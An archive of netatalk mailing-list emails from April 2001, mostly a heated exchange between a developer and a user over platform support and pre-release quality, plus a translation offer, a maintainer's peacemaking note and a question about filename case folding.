this "I've submitted patches but they all get rejected" like many of
your ilk do - Because I can verify that your name has not come up on a
single line of submitted code. 

I hate politics. More than hating politics I hate people who have
platform zealousy issues. If you feel that whichever platform you're
using is under-represented among the "jocks on sourceforge", perhaps you
could bring yourself down to our/their level and contribute. Not a
single "jock on sourceforge" has any grudge against any platform - Sure,
we all have preferences - But to insinuate that we/they intentionally
ignore or "code against" a certain platform is beyond ludicrous- Not too
mention rude.

Furthermore, perhaps you noticed a certain three (3) letters in the
names of the releases that the "jocks on sourceforge" have made. "PRE".
"PRE" means "THIS FUCKING SHIT ISN'T SUPPOSED TO WORK YET BECAUSE WE'RE
STILL DEVELOPING IT SO IF YOU DON'T HAVE ANYTHING ***CONSTRUCTIVE*** TO
SAY OR CODE TO CONTRIBUTE BACK THE FUCK OFF". *straightening jacket* The
code coming out of the **PRE** 1.5 tree is considered alpha quality at
best - Somedays a good Beta quality.

We all have wishlists. We all would like Netatalk to be *the* AppleShare
server on ALL *IXish machines. We would like to have a lot of success,
meet 100% of peoples feature requests, and in general have a fun time
doing it - And it's getting there. Slowly. 

So, Mr. Quigley, although your views and opinions are welcome - I'll be
the last person to suppress that - I think you should get your facts in
line before making inflammatory statements about the people who are
trying to make a product you *CONSUME* as good as it can be- People,
mind you, who aren't getting paid for this. People who do it so that
they can actually CONTRIBUTE to something, instead of COMPLAINING about
it. Inflammatory, derogatory statements like yours only hurts production
as it disheartens those who work hard on this project. If you aren't a
coder - That's cool - Can you write docs? Maybe English isn't your first
language so you could translate them into other languages? Perhaps you
could use a debugger and send on debugging symbols to make the
bug-hunters lives a little easier? Hell, we could all probably use
bigger harddrives, more RAM, a couple days of "pay" to take time off
from our busy lives and spend the day coding and bug-hunting, maybe an
OS X server to give us something to test on. There's a LOT of ways you
can help- And you've already found one grevious way to hurt.

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Fri Apr  6 04:02:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA03161
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 04:02:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA24853
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 04:02:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA24824
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 04:02:29 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA24772
	for <Netatalk-Admins@umich.edu>; Fri, 6 Apr 2001 04:02:28 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA11276;
	Fri, 6 Apr 2001 09:58:04 +0200
Message-ID: <3ACD770D.35B52729@euc.de>
Date: Fri, 06 Apr 2001 09:58:07 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Matthew Keller <kellermg@potsdam.edu>
CC: Netatalk-Admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: Mac OS X and netatalk...
References: <200104032320.f33NKKn04492@vulcan.borgspace.alpha> 
		<a04310101b6f187a6a215@[192.168.1.201]> <986529471.1737.2.camel@comp10574.potsdam.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA03161

Okeydokey,


gimme some manuals, I'll try my best translating it to german



Matthew Keller wrote:
> 
> At 1:23 Uhr +0200 04.04.2001, QUIGLEY,JASON (HP-Spain,ex1 wrote:
...
> as it disheartens those who work hard on this project. If you aren't a
> coder - That's cool - Can you write docs? Maybe English isn't your first
> language so you could translate them into other languages? 

...



> --
> 
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
> 
> http://mattwork.potsdam.edu/

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Fri Apr  6 10:03:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA12191
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 10:03:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA00241
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 10:03:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA00211
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 10:03:56 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA00135
	for <Netatalk-Admins@umich.edu>; Fri, 6 Apr 2001 10:03:53 -0400 (EDT)
Received: (qmail 2556 invoked by alias); 6 Apr 2001 14:04:00 -0000
Received: (qmail 2550 invoked by uid 0); 6 Apr 2001 14:03:59 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 6 Apr 2001 14:03:59 -0000
Subject: [Jason Quigley <jasonq@mac.com>] Re: Mac OS X and netatalk...
From: Matthew Keller <kellermg@potsdam.edu>
To: Netatalk-Admins List <Netatalk-Admins@umich.edu>,
        Netatalk-Devel List <netatalk-devel@lists.sourceforge.net>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.05.08.06 (Preview Release)
Date: 06 Apr 2001 10:03:50 -0400
Message-Id: <986565831.3196.1.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


For those of you interested in a case study on immaturity. What's a
"kill file"? Is that like one of those lists people make to sound big
and tough and list off everyone they'd like to erase from the planet?
*chuckle* Oh I'm on a lot of those- Not since I was in High School,
however.

-----Forwarded Message-----
From: Jason Quigley <jasonq@mac.com>
To: Matthew Keller <kellermg@potsdam.edu>
Subject: Re: Mac OS X and netatalk...


What do you think "general impression that *I* get" means?

When I talked about people not having a clue, I was commenting on the 
fact that sometimes the problem is on the server side, other times it's 
on the client side and with both sides changing so rapidly these days... 
Also, I wasn't only referring to the developers. I wholeheartedly admit 
that I don't have a clue what's going on either!

 From what I have seen, most of the "jocks" (which is used in a 
complementary form as one would with good pilots - you're a nerd, aren't 
you, which is why I guess you read it that way) do lean quite a bit 
towards Linux. I never suggested that any platform was ignored.

When you use comments such as "many of your ilk" you are also casting 
aspersions. Listen to your own preaching.

I understand what PRE means. There never has been a release version, 
though, so don't get uppity with me, especially since I don't see too 
many contributions from you either.

You're in my kill file. Try and get a life you dweeb.

Mr. Quigley (That's Sir to you)




On Friday, April 6, 2001, at 05:57  am, Matthew Keller wrote:

> At 1:23 Uhr +0200 04.04.2001, QUIGLEY,JASON (HP-Spain,ex1 wrote:
>> I think the general impression that I get is that nobody really has a
>> clue what's at fault and as the jocks on source forge don't really
>> care too much about anything other Linux, those of us who like to
>> run stable setups are in for a long wait for a resolution.
>
> Mr Quigley,
>
> Perhaps you'd like to volunteer to help submit bugfixes. I don't see any
> contributions by you at all, yet you have the gall to accuse the "jocks
> on sourceforge" of anything? The "jocks on sourceforge" use whichever
> machines they have and know. We've got people using Solaris, FreeBSD,
> and Linux on 4 architectures that I know of working on the code- Some
> people are working on MacOSX, HPUX and other platforms too. Instead of
> contributing to the FUD and poo hooing those who are working to make
> this product better, perhaps you can contribute. Don't give me any of
> this "I've submitted patches but they all get rejected" like many of
> your ilk do - Because I can verify that your name has not come up on a
> single line of submitted code.
>
> I hate politics. More than hating politics I hate people who have
> platform zealousy issues. If you feel that whichever platform you're
> using is under-represented among the "jocks on sourceforge", perhaps you
> could bring yourself down to our/their level and contribute. Not a
> single "jock on sourceforge" has any grudge against any platform - Sure,
> we all have preferences - But to insinuate that we/they intentionally
> ignore or "code against" a certain platform is beyond ludicrous- Not too
> mention rude.
>
> Furthermore, perhaps you noticed a certain three (3) letters in the
> names of the releases that the "jocks on sourceforge" have made. "PRE".
> "PRE" means "THIS FUCKING SHIT ISN'T SUPPOSED TO WORK YET BECAUSE WE'RE
> STILL DEVELOPING IT SO IF YOU DON'T HAVE ANYTHING ***CONSTRUCTIVE*** TO
> SAY OR CODE TO CONTRIBUTE BACK THE FUCK OFF". *straightening jacket* The
> code coming out of the **PRE** 1.5 tree is considered alpha quality at
> best - Somedays a good Beta quality.
>
> We all have wishlists. We all would like Netatalk to be *the* AppleShare
> server on ALL *IXish machines. We would like to have a lot of success,
> meet 100% of peoples feature requests, and in general have a fun time
> doing it - And it's getting there. Slowly.
>
> So, Mr. Quigley, although your views and opinions are welcome - I'll be
> the last person to suppress that - I think you should get your facts in
> line before making inflammatory statements about the people who are
> trying to make a product you *CONSUME* as good as it can be- People,
> mind you, who aren't getting paid for this. People who do it so that
> they can actually CONTRIBUTE to something, instead of COMPLAINING about
> it. Inflammatory, derogatory statements like yours only hurts production
> as it disheartens those who work hard on this project. If you aren't a
> coder - That's cool - Can you write docs? Maybe English isn't your first
> language so you could translate them into other languages? Perhaps you
> could use a debugger and send on debugging symbols to make the
> bug-hunters lives a little easier? Hell, we could all probably use
> bigger harddrives, more RAM, a couple days of "pay" to take time off
> from our busy lives and spend the day coding and bug-hunting, maybe an
> OS X server to give us something to test on. There's a LOT of ways you
> can help- And you've already found one grevious way to hurt.
>
> --
>
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
>
> http://mattwork.potsdam.edu/
>


-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Fri Apr  6 10:26:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA12908
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 10:26:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA02960
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 10:26:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA02935
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 10:26:45 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA02754
	for <Netatalk-Admins@umich.edu>; Fri, 6 Apr 2001 10:26:43 -0400 (EDT)
Received: (qmail 9846 invoked by alias); 6 Apr 2001 14:26:44 -0000
Received: (qmail 9832 invoked by uid 0); 6 Apr 2001 14:26:43 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 6 Apr 2001 14:26:43 -0000
Subject: Re: Mac OS X and netatalk...
From: Matthew Keller <kellermg@potsdam.edu>
To: Mac Conin <mconin@euc.de>
Cc: Netatalk-Admins@umich.edu, netatalk-devel@lists.sourceforge.net
In-Reply-To: <3ACD770D.35B52729@euc.de>
References: <200104032320.f33NKKn04492@vulcan.borgspace.alpha> 
	<a04310101b6f187a6a215@[192.168.1.201]>
	<986529471.1737.2.camel@comp10574.potsdam.edu>  <3ACD770D.35B52729@euc.de>
Content-Type: text/plain; charset=ISO-8859-1
X-Mailer: Evolution/0.10+cvs.2001.04.05.08.06 (Preview Release)
Date: 06 Apr 2001 10:26:34 -0400
Message-Id: <986567195.3195.5.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


That's the spirit! You can get the distro-included docs off of CVS, if
you're interested in those ( http://sourceforge.net/projects/netatalk/ )
- We're also using the SourceForge DocManager (URL below) to give a nice
user-friendly feel to it. **EVERYONE** can contribute to that by
asking/answering FAQ's, etc. SourceForge accounts are free, and you can
email Jeff if you'd like inclusion. Currently there are English and
Japanese versions of most of the docs - I'd love to see more languages. 

    http://sourceforge.net/docman/?group_id=8642

Mac- Thanks for the offer, it's much appreciated!

On 06 Apr 2001 09:58:07 +0200, Mac Conin wrote:
> Okeydokey,
> 
> 
> gimme some manuals, I'll try my best translating it to german
> 
> 
> 
> Matthew Keller wrote:
> > 
> > At 1:23 Uhr +0200 04.04.2001, QUIGLEY,JASON (HP-Spain,ex1 wrote:
> ...
> > as it disheartens those who work hard on this project. If you aren't a
> > coder - That's cool - Can you write docs? Maybe English isn't your first
> > language so you could translate them into other languages? 
> 
> ...
> 
> 
> 
> > --
> > 
> > Matthew Keller
> > Enterprise System Analyst
> > Computing & Technology Services
> > Information Services Division
> > State University of NY at Potsdam
> > 
> > http://mattwork.potsdam.edu/
> 
> -- 
> --schnipp-- 
> 
> mit freundlichen grüssen
> 
> -----------------------------------------------------------
> Mac Conin                        EUC Online Service GmbH
> Geschäftsführer                  Taubengasse 9
> mconin@euc.de                    D 50676 Koeln
> http://www.euc.de                HRB Köln 32038
> tel : +49-221-923 27 33          fax : +49-221-239 651
> -----------------------------------------------------------
> EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
> der Abfallwirtschaftsbetriebe Köln (AWB) und dem
> Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Fri Apr  6 10:39:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13349
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 10:39:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA16880
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 10:39:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA16864
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 10:39:10 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA16823
	for <Netatalk-Admins@umich.edu>; Fri, 6 Apr 2001 10:39:08 -0400 (EDT)
Received: from univrel.pr.uconn.edu (IDENT:root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f36Ecun22752;
	Fri, 6 Apr 2001 10:38:56 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3ACDD4FE.EAEB034A@univrel.pr.uconn.edu>
Date: Fri, 06 Apr 2001 10:38:54 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Matthew Keller <kellermg@potsdam.edu>, Jason Quigley <jasonq@mac.com>
CC: Netatalk-Admins List <Netatalk-Admins@umich.edu>,
        Netatalk-Devel List <netatalk-devel@lists.sourceforge.net>
Subject: Flames
References: <986565831.3196.1.camel@comp10574.potsdam.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I'm honestly not sure what just went on, because I have a feeling that I
missed a few postings, due to upgrading my sendmail yesterday.

I would like to state, for the record, that netatalk was not, and will
not be, a Linux-centric application. I happen to package netatalk for
Linux, as it is the platform that I have the most access to at work and
at home. I believe I speak for the entire project when I say that any
compiled versions are very welcome, and all efforts will be made to make
sure that netatalk builds and runs on as many *BSD/*NIX platforms as
possible.

If there has been a lack of attention towards a certain problem that has
been posted up on sourceforge, please bring it to either Matthew's
attention or mine. You can email either of us without blasting the
project to a mailing list, no matter how frustrating everything has
been. I spent a good three weeks trying to iron out the DHX
authentication problem, during which I managed to keep my anger off of
the list. But just barely. :)

I understand both sides of this argument (from what little I've read),
and would ask the following:

*) If you have a problem with something not being supported, either
submit a patch for it, or email the development list about it. Someone
should respond to you. If in a week or two no one has responded, mail
either Matt or I.

*) If there are platform issues, please make them known. I would like to
see netatalk supporting all major *BSD/*NIX platforms by the 1.5 final
release.

I'd also like to take the time to explain that the pre-releases are
released whenever I seem to think that development has produced
something stable. I have been known to be very wrong about this, but I'm
simply trying to provide something for the community to use and test in
the time leading up to 1.5, which will hopefully be rock-solid.

If anyone has any comments on this, feel free to email me.

Thanks,
jeff

From netatalk.administrators-errors@umich.edu  Fri Apr  6 11:42:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA15136
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 11:42:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA11352
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 11:42:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA11342
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 11:42:21 -0400 (EDT)
Received: from relay.mail.pipex.net (relay.mail.pipex.net [158.43.128.38])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA11189
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 11:42:18 -0400 (EDT)
Received: (qmail 1593 invoked from network); 6 Apr 2001 15:42:17 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by relay.mail.pipex.net with SMTP; 6 Apr 2001 15:42:17 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP id D31F91A003
	for <netatalk-admins@umich.edu>; Fri,  6 Apr 2001 16:40:12 +0100 (BST)
Date: Fri,  6 Apr 2001 16:43:12 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Case senstivity
To: netatalk-admins@umich.edu
X-Priority: 3
Message-ID: <20010406164334-r01010600-5a7948e0@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

Hi

With lots of help I've got netatalk running over tcp/ip really well.

I've run into a problem where our Macintosh CAD programme has stored
references to CAD filenames in lowercase while the actual file is in
uppercase. These references DONT work with my version of netatalk, which
I'm running from an installed module version (not one compiled into the
kernel).

I've come across some notes about case sensitivity, but don't know how to
set this up. Presumably I can recompile the kernel?

Thanks for any further help.

Rory 

From netatalk.administrators-errors@umich.edu  Fri Apr  6 12:13:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA16932
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 12:13:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA28984
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 12:12:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA28946
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 12:12:53 -0400 (EDT)
Received: from peterson.umci.com ([204.201.24.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA28844
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 12:12:51 -0400 (EDT)
Received: by peterson.umci.com with Internet Mail Service (5.5.2448.0)
	id <GPW8T9QA>; Fri, 6 Apr 2001 09:13:06 -0700
Message-ID: <F101D6F85C61D311B63D0050DA0EFDE130BC00@peterson.umci.com>
From: Chris Bondelid <cbond@umci.com>
To: netatalk-admins@umich.edu
Subject: RE: Case senstivity
Date: Fri, 6 Apr 2001 09:13:02 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="windows-1252"

What version of netatalk are you running?

Recompiling the kernel won't help you in this case.  Only AppleTalk DDP is
in the kernel.  And that just lets your box speak AppleTalk but does nothing
else as far as configuring your AppleShare services.

I'm running 1.5pre5.  In AppleVolumes.default, there's a "casefold" option
that works great for me - "casefold:tolower"

The options for casefolding are:

# casefold options [syntax: casefold:option]:
# tolower    -> lowercases names in both directions
# toupper    -> uppercases names in both directions
# xlatelower -> client sees lowercase, server sees uppercase
# xlateupper -> client sees uppercase, server sees lowercase


Chris

SysAdmin
University Mechanical

From netatalk.administrators-errors@umich.edu  Fri Apr  6 12:43:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17800
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 12:43:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA04466
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 12:43:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA04451
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 12:43:16 -0400 (EDT)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA04312
	for <Netatalk-Admins@umich.edu>; Fri, 6 Apr 2001 12:43:10 -0400 (EDT)
Received: from lodbroker.com (fw.assistera.se [213.80.14.162])
	(authenticated)
	by max.hkust.se (8.11.0/8.11.0) with ESMTP id f36Gh4P04095;
	Fri, 6 Apr 2001 18:43:04 +0200
Sender: stone@max.hkust.se
Message-ID: <3ACDF204.C6064231@lodbroker.com>
Date: Fri, 06 Apr 2001 18:42:44 +0200
From: Magnus Stenman <stone@lodbroker.com>
Organization: Lodbroker
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17-14 i686)
X-Accept-Language: en,sv
MIME-Version: 1.0
To: Matthew Keller <kellermg@potsdam.edu>
CC: Netatalk-Admins List <Netatalk-Admins@umich.edu>,
        Netatalk-Devel List <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Jason Quigley <jasonq@mac.com>] Re: Mac OS X and netatalk...
References: <986565831.3196.1.camel@comp10574.potsdam.edu>
Content-Type: multipart/mixed;
 boundary="------------AF8C1CBFDFB827A2BD8B7993"

This is a multi-part message in MIME format.
--------------AF8C1CBFDFB827A2BD8B7993
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

It's the file which contains all the addresses of people
whose mail gets sorted into the /dev/null mail folder
automatically.

A good way of getting into kill files is to crosspost
off-topic messages... :-)

(and answering them)


/m


Matthew Keller wrote:
> 
> For those of you interested in a case study on immaturity. What's a
> "kill file"? Is that like one of those lists people make to sound big
> and tough and list off everyone they'd like to erase from the planet?
> *chuckle* Oh I'm on a lot of those- Not since I was in High School,
> however.
> 
> -----Forwarded Message-----
> From: Jason Quigley <jasonq@mac.com>
> To: Matthew Keller <kellermg@potsdam.edu>
> Subject: Re: Mac OS X and netatalk...
> 
> What do you think "general impression that *I* get" means?
> 
> When I talked about people not having a clue, I was commenting on the
> fact that sometimes the problem is on the server side, other times it's
> on the client side and with both sides changing so rapidly these days...
> Also, I wasn't only referring to the developers. I wholeheartedly admit
> that I don't have a clue what's going on either!
> 
>  From what I have seen, most of the "jocks" (which is used in a
> complementary form as one would with good pilots - you're a nerd, aren't
> you, which is why I guess you read it that way) do lean quite a bit
> towards Linux. I never suggested that any platform was ignored.
> 
> When you use comments such as "many of your ilk" you are also casting
> aspersions. Listen to your own preaching.
> 
> I understand what PRE means. There never has been a release version,
> though, so don't get uppity with me, especially since I don't see too
> many contributions from you either.
> 
> You're in my kill file. Try and get a life you dweeb.
> 
> Mr. Quigley (That's Sir to you)
> 
> On Friday, April 6, 2001, at 05:57  am, Matthew Keller wrote:
> 
> > At 1:23 Uhr +0200 04.04.2001, QUIGLEY,JASON (HP-Spain,ex1 wrote:
> >> I think the general impression that I get is that nobody really has a
> >> clue what's at fault and as the jocks on source forge don't really
> >> care too much about anything other Linux, those of us who like to
> >> run stable setups are in for a long wait for a resolution.
> >
> > Mr Quigley,
> >
> > Perhaps you'd like to volunteer to help submit bugfixes. I don't see any
> > contributions by you at all, yet you have the gall to accuse the "jocks
> > on sourceforge" of anything? The "jocks on sourceforge" use whichever
> > machines they have and know. We've got people using Solaris, FreeBSD,
> > and Linux on 4 architectures that I know of working on the code- Some
> > people are working on MacOSX, HPUX and other platforms too. Instead of
> > contributing to the FUD and poo hooing those who are working to make
> > this product better, perhaps you can contribute. Don't give me any of
> > this "I've submitted patches but they all get rejected" like many of
> > your ilk do - Because I can verify that your name has not come up on a
> > single line of submitted code.
> >
> > I hate politics. More than hating politics I hate people who have
> > platform zealousy issues. If you feel that whichever platform you're
> > using is under-represented among the "jocks on sourceforge", perhaps you
> > could bring yourself down to our/their level and contribute. Not a
> > single "jock on sourceforge" has any grudge against any platform - Sure,
> > we all have preferences - But to insinuate that we/they intentionally
> > ignore or "code against" a certain platform is beyond ludicrous- Not too
> > mention rude.
> >
> > Furthermore, perhaps you noticed a certain three (3) letters in the
> > names of the releases that the "jocks on sourceforge" have made. "PRE".
> > "PRE" means "THIS FUCKING SHIT ISN'T SUPPOSED TO WORK YET BECAUSE WE'RE
> > STILL DEVELOPING IT SO IF YOU DON'T HAVE ANYTHING ***CONSTRUCTIVE*** TO
> > SAY OR CODE TO CONTRIBUTE BACK THE FUCK OFF". *straightening jacket* The
> > code coming out of the **PRE** 1.5 tree is considered alpha quality at
> > best - Somedays a good Beta quality.
> >
> > We all have wishlists. We all would like Netatalk to be *the* AppleShare
> > server on ALL *IXish machines. We would like to have a lot of success,
> > meet 100% of peoples feature requests, and in general have a fun time
> > doing it - And it's getting there. Slowly.
> >
> > So, Mr. Quigley, although your views and opinions are welcome - I'll be
> > the last person to suppress that - I think you should get your facts in
> > line before making inflammatory statements about the people who are
> > trying to make a product you *CONSUME* as good as it can be- People,
> > mind you, who aren't getting paid for this. People who do it so that
> > they can actually CONTRIBUTE to something, instead of COMPLAINING about
> > it. Inflammatory, derogatory statements like yours only hurts production
> > as it disheartens those who work hard on this project. If you aren't a
> > coder - That's cool - Can you write docs? Maybe English isn't your first
> > language so you could translate them into other languages? Perhaps you
> > could use a debugger and send on debugging symbols to make the
> > bug-hunters lives a little easier? Hell, we could all probably use
> > bigger harddrives, more RAM, a couple days of "pay" to take time off
> > from our busy lives and spend the day coding and bug-hunting, maybe an
> > OS X server to give us something to test on. There's a LOT of ways you
> > can help- And you've already found one grevious way to hurt.
> >
> > --
> >
> > Matthew Keller
> > Enterprise System Analyst
> > Computing & Technology Services
> > Information Services Division
> > State University of NY at Potsdam
> >
> > http://mattwork.potsdam.edu/
> >
> 
> --
> 
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
> 
> http://mattwork.potsdam.edu/
--------------AF8C1CBFDFB827A2BD8B7993
Content-Type: text/x-vcard; charset=us-ascii;
 name="stone.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Magnus Stenman
Content-Disposition: attachment;
 filename="stone.vcf"

begin:vcard 
n:Stenman;Magnus
x-mozilla-html:FALSE
url:http://stenman.org
org:Lodbroker
adr:;;;;;;
version:2.1
email;internet:stone@lodbroker.com
title:undef
x-mozilla-cpt:;-17096
fn:Magnus Stenman
end:vcard

--------------AF8C1CBFDFB827A2BD8B7993--


